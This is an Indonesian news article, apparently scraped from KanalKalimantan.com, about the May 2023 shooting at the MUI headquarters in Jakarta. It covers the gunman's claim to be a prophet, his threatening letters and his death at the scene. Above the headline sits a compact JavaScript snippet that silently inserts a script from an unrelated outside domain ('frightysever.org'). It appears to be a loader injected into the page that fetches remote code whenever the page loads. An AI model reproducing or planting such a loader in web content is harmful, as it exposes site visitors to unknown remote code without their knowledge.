(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kronologi Penembakan Kantor MUI, Berawal dari Pelaku Mengaku Nabi Ingin Ketemu Ketua MUI


KANALKALIMANTAN.COM, JAKARTA – Kantor pusat Majelis Ulama Indonesia (MUI), Jakarta Pusat menjadi sasaran penembakan oleh pelaku yang berjumlah satu orang, Selasa (2/5/2023) siang.

Dari peristiwa tersebut, pelaku penembakan dinyatakan tewas dan saat ini pihak kepolisian tengah melakukan autopsi terhadap jenazah pelaku.

Wakil Ketua Umum MUI Anwar Abbas menjelaskan kronologi penembakan yang terjadi di kantor MUI tersebut. Insiden itu terjadi saat pimpinan MUI tengah menggelar rapat rutin di lantai 4.

Saat rapat sedang berlangsung, pada pukul 11.00 WIB ada informasi bahwa telah terjadi peristiwa penembakan di lantai bawah.

Kepala gedung menyebutkan bahwa penembakan didalangi oleh seorang yang berasal dari Lampung. Adapun pelaku sudah dua kali datang ke kantor MUI. Dengan insiden ini, artinya pelaku sudah datang tiga kali ke kantor MUI pusat.

Baca juga: Mudik-Balik Lebaran 2023 Bandara Syamsudin Noor: 256 Extra Flight, 1.414 Pergerakan Pesawat

Anwar mengatakan pada kedatangan terakhir kalinya ini, pelaku mengaku bahwa dirinya merupakan seorang nabi dan ingin bertemu dengan Ketua MUI.

Seorang resepsionis yang menerima kedatangan pelaku pun bertanya terkait ketua MUI yang dimaksud sebab Ketua MUI tidak hanya satu orang.

Dengan mendesak resepsionis, pelaku tetap ingin bertemu Ketua MUI. Alhasil, resepsionis mengikuti permintaan tersebut lalu beranjak ke lantai 4 tempat para pimpinan menggelar rapat.

Saat masuk lift kantor, tiba-tiba terdengar tembakan. Pelaku menembak resepsionis dan peluru mengenai punggungnya.

Sebelumnya, Ketua MUI bidang Dakwah yakni Cholil Nafis menyebut bahwa pelaku penembakan tersebut sempat mengirimkan surat ancaman pembunuhan sebelum ia melancarkan aksi penembakan. Bahkan, Cholil menyebut pelaku tidak hanya sekali mengirimkan surat yang berkaitan dengan MUI.

Surat yang pernah dikirim pelaku penembakan kantor MUI Pusat. Foto: Suara.com/Fakhri

Dalam suratnya, pelaku mengaku bahwa ia tidak mendapatkan haknya yakni keadilan dan tidak bisa bertemu dengan Ketua MUI. Pelaku bersumpah atas nama Tuhan akan menembak para penguasa atau pejabat negeri terutama orang-orang MUI. Ia menyebut dirinya tidak akan lagi meminta izin kedua kali kepada aparat penegak hukum karena ia mengaku sudah lelah berjuang untuk mendapatkan keadilan.

Baca juga: Ani Sekeluarga Panik Lihat Rumah Tetangga Roboh karena Angin Kencang

Terduga pelaku penembakan di Kantor MUI, Menteng, Jakarta Pusat dinyatakan meninggal dunia di lokasi kejadian. Hal tersebut juga dibenarkan oleh Kapolres Metro Jakarta Pusat yakni Kombes Komarudin.

Namun, Komarudin masih belum menjelaskan secara jelas terkait dengan identitas dari pelaku serta penyebab dari kematiannya tersebut.

Ia hanya menegaskan bahwa saat ini jajaran Satreskrim Polres Metro Jakarta Pusat tengah menyelidiki kasus tersebut.

Pelaku Pernah Berkirim Surat Tahun 2022 Ngaku Wakil Nabi

Terungkap fakta baru di balik aksi nekat Mustofa NR, pelaku penembakan di kantor MUI, Jalan Proklamasi, Menteng, Jakarta Pusat. Mustofa ternyata pernah mengirim surat ke MUI sebelum berakhir tewas dalam aksi penembakan pada pagi tadi.

Ketua MUI Bidang Fatwa MUI, Asrorun Niam, mengungkap salah satu isi surat yang pernah disampaikan Mustofa pada tahun 2022 lalu. Isinya, Mustofa mengaku sebagai wakil nabi hingga meminta persatuan umat.

“Tertulis di sini kan surat yang keenam bunyinya tapi gak tahu ini surat keenam atau tidak, akan tetapi bunyinya inilah yang kita temukan di dalam,” ujar Niam di kantor MUI, Selasa (2/5/2023) siang.

Ia sendiri mengakui memang dalam dokumen surat-menyurat MUI Pusat, terdapat surat dari Mustofa yang berasal dari Lampung. (Suara.com)

Editor: kk


Al Ghifari

Recent Posts

Inspeksi SLO, Srikandi PLN Hadirkan Keandalan dan Kualitas Instalasi

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

1 jam ago

Senja Jelang Magrib, Rumah di Banjar Permai III Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga kawasan Banjar Indah Permai geger dengan kemunculan kobaran api, Senin (27/5/2024)… Read More

2 jam ago

Lawatan ke PKB, Upaya Lisa Halaby Mencari Partai Pengusung

KANALKALIMANTAN.COM, BANJARBARU – Bakal calon Wali Kota Erna Lisa Halaby kembali melakukan lawatan politik menuju… Read More

4 jam ago

Menjaga Kamtibmas, Satgas TMMD ke-120 Berikan Penyuluhan

KANALKALIMANTAN.COM, AMUNTAI - Memberikan pemahaman kepada warga agar bersama-sama menjaga dan mewujudkan keamanan dan ketertiban… Read More

5 jam ago

RPJPD 2025-2045 Banjarbaru Menjadi Kota Metropolitan di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Langkah menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel)… Read More

5 jam ago

Gandeng BPS Kabupaten Banjar, DKISP Banjar Gelar Workshop Penyusunan Metadata Statistik Sektoral Lingkup Pemkab Banjar

KANALKALIMANTAN.COM, MARTAPURA - Dinas Komunikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar menggelar Workshop Penyusunan… Read More

5 jam ago

This website uses cookies.